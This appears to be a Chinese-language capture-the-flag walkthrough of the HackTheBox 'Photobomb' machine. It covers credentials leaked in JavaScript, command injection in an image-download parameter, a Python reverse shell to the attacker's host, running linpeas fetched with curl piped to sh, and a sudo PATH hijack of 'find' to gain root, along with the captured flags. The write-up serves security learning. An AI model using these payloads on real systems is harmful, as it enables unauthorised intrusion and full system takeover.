Hackthebox - Photobomb 靶场实战
2023-5-20 22:41:13 Author: 灰帽安全(查看原文) 阅读量:12 收藏

Nmap

┌──(root㉿kali)-[~/Desktop]
└─# nmap -sS -sV -A -sC -p- --min-rate 5000 10.10.11.182
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-20 23:49 EST
Nmap scan report for 10.10.11.182
Host is up (0.26s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e22473bbfbdf5cb520b66876748ab58d (RSA)
| 256 04e3ac6e184e1b7effac4fe39dd21bae (ECDSA)
|_ 256 20e05d8cba71f08c3a1819f24011d29e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://photobomb.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=12/20%OT=22%CT=1%CU=41677%PV=Y%DS=2%DC=T%G=Y%TM=63A290
OS:81%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=105%TI=Z%CI=Z%II=I%TS=A)SE
OS:Q(SP=105%GCD=1%ISR=105%TI=Z%CI=Z%TS=A)OPS(O1=M539ST11NW7%O2=M539ST11NW7%
OS:O3=M539NNT11NW7%O4=M539ST11NW7%O5=M539ST11NW7%O6=M539ST11)WIN(W1=FE88%W2
OS:=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M539NNS
OS:NW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%
OS:DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%
OS:O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%
OS:W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%
OS:RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 995/tcp)
HOP RTT ADDRESS
1 275.46 ms 10.10.14.1
2 282.41 ms 10.10.11.182

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 48.89 seconds

Http

会被跳转到域名 photobomb.htb 去加入 hosts 解析

echo 10.10.11.182 photobomb.htb >> /etc/hosts

再访问一次就是正常的了

首页有个 click here,点击后会跳转登陆页面,去找一下密码

在 js 文件中发现一段 photobomb.js

function init({
  // Jameson: pre-populate creds for tech support as they keep forgetting them and emailing me
  if (document.cookie.match(/^(.*;)?\s*isPhotoBombTechSupport\s*=\s*[^;]+(.*)?$/)) {
    document.getElementsByClassName('creds')[0].setAttribute('href','http://pH0t0:[email protected]/printer');
  }
}
window.onload = init;

在里面找到了一段链接,里面应该就是账号密码了

登陆成功

他下面有个下载图片的功能,抓个包看看

确实是下载,但是这个参数看着很有搞头啊,这看着就是很明显的命令拼接执行

在 filetype 后面似乎可以拼接,但是没有回显,去开启一个 http 服务器试试

python3 -m http.server 80
photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=jpg;curl+http://10.10.14.11&dimensions=30x20

然后去请求一下

确实有回包,那就证明可以执行命令

export RHOST="10.10.14.11";export RPORT=4444;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'

我们构造好 poc 以后,使用 nc 监听一个端口

nc -nvlp 4444

然后去 burp 中执行

export RHOST="10.10.14.11";export RPORT=4444;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'
┌──(root㉿kali)-[~/Desktop]
└─# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.11from (UNKNOWN) [10.10.11.18246772
[email protected]:~/photobomb$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
[email protected]:~/photobomb$ whoami&&id
whoami&&id
wizard
uid=1000(wizard) gid=1000(wizard) groups=1000(wizard)

成功弹回 shell

[email protected]:~$ cat user.txt
cat user.txt
9ef16b54cbd2be4ef91cf67b6642e804

成功拿到 user 权限的 flag 文件

先跑个 linpeas 看看

curl -L http://10.10.14.11/linpeas.sh|sh
[email protected]:~$ sudo -l
sudo -l
Matching Defaults entries for wizard on photobomb:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User wizard may run the following commands on photobomb:
    (root) SETENV: NOPASSWD: /opt/cleanup.sh

可以看到,我们可以无密码使用 root 权限执行 /opt/cleanup.sh,先去看看这个文件

#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb

# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
  /bin/cat log/photobomb.log > log/photobomb.log.old
  /usr/bin/truncate -s0 log/photobomb.log
fi

# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;

对于这个文件,我们只有读取和写入权限,所以我们得先搞清楚他干了什么

大概看了一下,功能简单的说就是获取日志文件并将其内容移动到 photobonb.log.old,然后使用 truncate 清除 photobomb.log

这里的突破点在于最后一句,他的 find 命令使用的是相对路径,而不是绝对路径,我们就可以改变一下环境变量,然后在当前目录创建一个 find 文件,里面写一个恶意 poc,然后 sudo 执行的时候,就能直接获得我们想要的结果

echo "/bin/bash" > find
chmod +x find
sudo PATH=$PWD:$PATH /opt/cleanup.sh
[email protected]:~$ echo "/bin/bash" > find
echo "/bin/bash" > find
[email protected]:~$ chmod +x find
chmod +x find
[email protected]:~$ sudo PATH=$PWD:$PATH /opt/cleanup.sh
sudo PATH=$PWD:$PATH /opt/cleanup.sh
[email protected]:/home/wizard/photobomb# id
id
uid=0(root) gid=0(root) groups=0(root)
[email protected]:/home/wizard/photobomb# whoami
whoami
root

成功获得 root 权限

[email protected]:/home/wizard/photobomb# cat /root/root.txt
cat /root/root.txt
aefec07aac4191d73f9f0e8dadd6ee58

成功获得 root 权限的 flag 文件


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2MjYxODQ4Mw==&mid=2247484803&idx=1&sn=e3cb85db25529748e46ac06154e0cd32&chksm=ce04539ff973da8907fd01b0b334cc98df085a662afcc6db308355b298343494769b4837afdb#rd
如有侵权请联系:admin#unsafe.sh